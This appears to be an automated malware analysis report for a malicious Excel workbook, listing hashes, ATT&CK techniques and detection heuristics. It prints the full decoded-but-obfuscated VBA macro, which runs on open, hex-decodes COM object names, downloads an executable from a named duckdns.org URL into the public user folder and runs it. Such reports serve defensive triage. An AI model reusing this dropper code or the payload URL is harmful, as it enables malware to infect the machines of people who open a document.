Office (OOXML) malware analysis — malicious · c12ce1a73f6ab302

MALICIOUS

Office (OOXML)

223.9 KB First seen: 2020-09-15

MD5: c6d010d13e2f82f180b7f3cfdbd1dde0 SHA-1: 8eaedfcedd5861f63243dc4d23df418fa3973137 SHA-256: c12ce1a73f6ab3029d1286de66751e079068e64bfc56f0652c8e19dd8c45e350

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains a Workbook_Open subroutine that is triggered automatically when the document is opened. This macro attempts to download a file from the URL "http://suppofficesmailnrebuildretributionsproceeed.duckdns.org/bp.exe" and execute it. The presence of obfuscated code and the critical heuristic firings for downloading and executing a file strongly indicate a dropper functionality.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
lpifdedypqlvkbtzlafxoyjlspjwxjastdknfaszioiwhsnlbvkrymzmfxnnvgbfpscgqguligpzqnezbyvbzjtgexhimeebndho.write wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6668 bytes
SHA-256: `9dde155484a49aba4f87fd967ef6bace960670071041fac02ab18c123d229ce9`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select gtkjlxycsvzmzckwmxvhmtssrkrfzxglvmysnraytkmrvjgubftgsaenarrafsdvonrmerjvxwocgawiexetdasuilsvzztahrdi"68 74 74 70 3A 2F 2F 73 75 70 6F 66 66 69 63 65 6D 61 69 6E 6C 69 76 65 64 73 72 69 62 75 74 69 6F 6E 73 70 72 6F 63 65 65 64 2E 64 75 63 6B 64 6E 73 2E 6F 72 67 2F 62 70 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub gtkjlxycsvzmzckwmxvhmtssrkrfzxglvmysnraytkmrvjgubftgsaenarrafsdvonrmerjvxwocgawiexetdasuilsvzztahrdi (ttkntcofjjsznsqandhqprbflpktzhxphguoititdhuxtneefaiducwbrecervfbmcrgybrtvnnhwdmxkfoyzuvejswdrecibtlq As String) Dim wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn Range("A6:J13").Select Dim lpifdedypqlvkbtzlafxoyjlspjwxjastdknfaszioiwhsnlbvkrymzmfxnnvgbfpscgqguligpzqnezbyvbzjtgexhimeebndho Range("A6:J13").Select Dim pguubyjsxzwrsnmwkaggyvcsylydcnlnfpkueazazbjfbppzrhrnwbquebwqafqjnjmcdrsjaggwlxrivyluwyqezpqceiatlarr Range("A6:J13").Select Set wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set lpifdedypqlvkbtzlafxoyjlspjwxjastdknfaszioiwhsnlbvkrymzmfxnnvgbfpscgqguligpzqnezbyvbzjtgexhimeebndho = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set pguubyjsxzwrsnmwkaggyvcsylydcnlnfpkueazazbjfbppzrhrnwbquebwqafqjnjmcdrsjaggwlxrivyluwyqezpqceiatlarr = CreateObject(rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) cobverpwsuupxqymrumdczghhfwnfvkkxgdpnkvkjntinuxuwvlgazxchunyucrwkjsqniyhybtogytnhcqkjdkxjaiswwpgwwxd = rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl(ttkntcofjjsznsqandhqprbflpktzhxphguoititdhuxtneefaiducwbrecervfbmcrgybrtvnnhwdmxkfoyzuvejswdrecibtlq) chgnweiygjvjaaqsmhnhzuhmafkbmmrjaqlavcnevlrafyswgxupjqdhaunqugmtrmjjpqwjtjmndghbnovosbajndabpxkozyis = rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6D 78 61 6F 6E 75 6F 78 6A 2e 65 78 65") pigpblwzepetnldfkxbplzwlpvuwyxofyomfhfnhfaeyzhoduedbwshpluagqaahayuyzxxfktklvymihrbutmifhxtmfhqfzxxb = rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6D 78 61 6F 6E 75 6F 78 6A 2e 65 78 65") wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn.Open chr(71) + chr(69) + chr(84), cobverpwsuupxqymrumdczghhfwnfvkkxgdpnkvkjntinuxuwvlgazxchunyucrwkjsqniyhybtogytnhcqkjdkxjaiswwpgwwxd, False wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn.send lpifdedypqlvkbtzlafxoyjlspjwxjastdknfaszioiwhsnlbvkrymzmfxnnvgbfpscgqguligpzqnezbyvbzjtgexhimeebndho.Type = 1 lpifdedypqlvkbtzlafxoyjlspjwxjastdknfaszioiwhsnlbvkrymzmfxnnvgbfpscgqguligpzqnezbyvbzjtgexhimeebndho.Open lpifdedypqlvkbtzlafxoyjlspjwxjastdknfaszioiwhsnlbvkrymzmfxnnvgbfpscgqguligpzqnezbyvbzjtgexhimeebndho.write wxgdjphhppeosetmhhcrhnxffnbqlfgdrvbnzkpjmoptoilmlqauqujizbyvorvkjbwwdfmwrsetxdqwcofvelmxmsnxmuvvsekn.responseBody lpifdedypqlvkbtzlafxoyjlspjwxjastdknfaszioiwhsnlbvkrymzmfxnnvgbfpscgqguligpzqnezbyvbzjtgexhimeebndho.savetofile chgnweiygjvjaaqsmhnhzuhmafkbmmrjaqlavcnevlrafyswgxupjqdhaunqugmtrmjjpqwjtjmndghbnovosbajndabpxkozyis, 2 pguubyjsxzwrsnmwkaggyvcsylydcnlnfpkueazazbjfbppzrhrnwbquebwqafqjnjmcdrsjaggwlxrivyluwyqezpqceiatlarr.Run pigpblwzepetnldfkxbplzwlpvuwyxofyomfhfnhfaeyzhoduedbwshpluagqaahayuyzxxfktklvymihrbutmifhxtmfhqfzxxb End Sub Public Function rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl(ByVal dnwaohmqutihknubtvnpshdnbqfsfmllfzeiclfomajfhisqnyzpncywkjzycukiiwckjmzipycsyyfsxoehmwycbiytlhmrpbwl As String) As String Dim gihbzrzozgxldhanqdvlxziaofwillcwbulphchvxjdvkmpegzbmglnhzhmtuqdodakivkfnvzonvnpcpsbmjpqqheqapoaggprk As String Dim bhiwtorgwzllrkdcprenkuarufxgzihgvfaijfsvyktisfifkxrpkezhgrcorkhnrepmkvtjyjoaasyowswbrswrfsbrdeendgqo As String Dim pwupehrapzhntnryofwzhygrtbftfbwucjyzxgxjbwbflnxqnfzxjqgrqcwcbxuocmljorahimylxaffdpgaczkldhjvkuhdbmdz As Long For pwupehrapzhntnryofwzhygrtbftfbwucjyzxgxjbwbflnxqnfzxjqgrqcwcbxuocmljorahimylxaffdpgaczkldhjvkuhdbmdz = 1 To Len(dnwaohmqutihknubtvnpshdnbqfsfmllfzeiclfomajfhisqnyzpncywkjzycukiiwckjmzipycsyyfsxoehmwycbiytlhmrpbwl)Step 3 gihbzrzozgxldhanqdvlxziaofwillcwbulphchvxjdvkmpegzbmglnhzhmtuqdodakivkfnvzonvnpcpsbmjpqqheqapoaggprk = Chr$(Val("&H" & Mid$(dnwaohmqutihknubtvnpshdnbqfsfmllfzeiclfomajfhisqnyzpncywkjzycukiiwckjmzipycsyyfsxoehmwycbiytlhmrpbwl, pwupehrapzhntnryofwzhygrtbftfbwucjyzxgxjbwbflnxqnfzxjqgrqcwcbxuocmljorahimylxaffdpgaczkldhjvkuhdbmdz, 2))) bhiwtorgwzllrkdcprenkuarufxgzihgvfaijfsvyktisfifkxrpkezhgrcorkhnrepmkvtjyjoaasyowswbrswrfsbrdeendgqo = bhiwtorgwzllrkdcprenkuarufxgzihgvfaijfsvyktisfifkxrpkezhgrcorkhnrepmkvtjyjoaasyowswbrswrfsbrdeendgqo & gihbzrzozgxldhanqdvlxziaofwillcwbulphchvxjdvkmpegzbmglnhzhmtuqdodakivkfnvzonvnpcpsbmjpqqheqapoaggprk Next pwupehrapzhntnryofwzhygrtbftfbwucjyzxgxjbwbflnxqnfzxjqgrqcwcbxuocmljorahimylxaffdpgaczkldhjvkuhdbmdz rtqjwyiwmchzujwhojrouwesznvycnuoxoqlhvxfrwhgetbqdl = bhiwtorgwzllrkdcprenkuarufxgzihgvfaijfsvyktisfifkxrpkezhgrcorkhnrepmkvtjyjoaasyowswbrswrfsbrdeendgqo End Function Attribute VB_Name = "mpewgyqdivuniryzygnnpprcd" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `098091829079c660c2dd7188eefdd0365a0d5c37c513603d0f2fa41cc8e0db42`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 134 of 226 identifiers look randomly generated (e.g. 'BEBC12D66E2A31473147CEB93247BBD7F09CF10B') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.